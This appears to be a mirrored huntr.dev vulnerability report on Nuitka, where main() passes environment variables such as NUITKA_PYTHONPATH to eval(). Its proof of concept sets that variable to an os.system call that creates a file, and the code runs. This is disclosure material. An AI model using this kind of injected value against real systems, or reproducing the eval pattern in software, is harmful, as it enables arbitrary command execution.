Lucene search

K
huntrWhokilleddbEA4A842C-C48C-4AAE-A599-3305125C63A7
HistoryJun 04, 2022 - 11:47 a.m.

Contextual Code Execution

2022-06-0411:47:46
whokilleddb
www.huntr.dev
10

0.003 Low

EPSS

Percentile

71.6%

Description

The main() function uses the eval() function which can lead to contextual code execution, allowing an attacker to gain access to a system and execute commands with the privileges of the running program by setting NUITKA_PYTHONPATH, NUITKA_NAMESPACES or NUITKA_PTH_IMPORTED to a malicious payload string. This can lead to backdoors, reverse shells or reading/writing to privileged files.

One example of a similar vulnerability is CVE-2022-0845 in the popular pytorch-lightning repository. [See References]

Proof of Concept

  • Set malicious payload
$ export NUITKA_PYTHONPATH='os.system("touch rickroll")'
  • Run nuitka/__main__.py
  • Code gets executed!
$ ls rickroll
rickroll

0.003 Low

EPSS

Percentile

71.6%